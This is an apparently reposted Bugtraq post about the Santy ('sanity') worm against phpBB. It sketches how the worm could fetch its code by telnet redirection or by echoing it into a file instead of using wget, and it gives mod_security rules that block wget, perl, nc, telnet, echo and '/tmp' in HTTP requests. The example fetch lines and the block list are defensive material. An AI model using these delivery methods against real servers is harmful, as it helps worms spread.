[转载]Sanity Worm Concepts
文章作者：AndyI was writing some new rules for mod_security ([url]http://www.modsecurity.org[/url]) to try
and trap other methods that this sanity worm might try to exploit later. Unfortunately
the ideas I came up with are slightly worrying with how easily this worm
could actually spread. Right now the sanity worm uses perl and wget to download
code from remote servers but this could be changed to a few other methods. These
methods have not *yet* been used but I'm sure it is only time until there is one.
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The first method:
Remote daemon:
Most, if not all, servers have some method to retrieve files from a remote server.
Right now the worm uses wget to download its code. However an attacker could write
a remote daemon to distribute the worm's code.
Instead of using: wget [url]http://www.url.com/wormcode.txt[/url] they could (for example) telnet
url.com:port > wormcode.txt and execute from that point.
It is pretty easy to write a simple daemon to dump the worm code to any incoming connection
and disconnect. They could spread this daemon with the existing worm with
very little modification. Then when the infected machine scans for new targets
it can use its own local daemon. Obviously this method would not be as effective
as the others because many servers have firewalls to block unauthorized port
usage.
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The second method:
Echo code to file directly:
Instead of wget it has to echo the entire worm code via the URL. This might not be
possible due to a length restriction imposed by the httpd. However, in theory the
worm code could be echo'd to file by the existing worm with little modification
Instead of wget [url]http://www.url.com/wormcode.txt[/url] they can echo "[--worm code--]" >
wormcode.txt and go from there.
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I have not tested these methods but after discussing them with eth00, we both think
it was better to post this to bugtraq in the hopes it may help other people prevent
future attacks from new variations of this worm and help development of fixes
to prevent future problems. While this worm currently uses perl it can be obviously
re-written to avoid obvious mod_security (and other) rules. I could write
proof of concept versions of the sanity worm but I feel it would be better to
leave this out of the post.
For those more interested in the mod_security rules:
SecFilterSelective THE_REQUEST "wget "
SecFilterSelective THE_REQUEST "perl "
SecFilterSelective THE_REQUEST "lynx "
SecFilterSelective THE_REQUEST "ftp "
SecFilterSelective THE_REQUEST "scp "
SecFilterSelective THE_REQUEST "rcp "
SecFilterSelective THE_REQUEST "cvs "
SecFilterSelective THE_REQUEST "telnet "
SecFilterSelective THE_REQUEST "ssh "
SecFilterSelective THE_REQUEST "echo "
SecFilterSelective THE_REQUEST "nc "
SecFilterSelective THE_REQUEST "mkdir "
SecFilterSelective THE_REQUEST "cd /tmp"
SecFilterSelective THE_REQUEST "cd /var/tmp"
I am aware that I could write them all with (for example) "wget\x20" but on apache
1.3 this seems to fail. I am also aware they have the possibility to block legitimate
requests but these calls should not be made via a http GET request. They
are no means complete (all the usual compilers are missing) or free of errors. A
rule for "links " could also be added but this will break CMS systems like phpnuke.
These rules have been tested with apache 1.3.33 and php 4.3.10 (and also on
phpbb 2.0.1 and 2.0.11) and they do not affect regular phpbb usage in any way but
prevent the current worm exploits and cover the concepts I discussed above. Other
rules can be added as methods are discovered until the vulnerability is fixed.
I was under the impression php 4.3.10 fixed this problem but I have heard that
a new sanity which spreads along with an sshd and still works with php 4.3.10
(The rules prevent this worm version too).
Hope this helps
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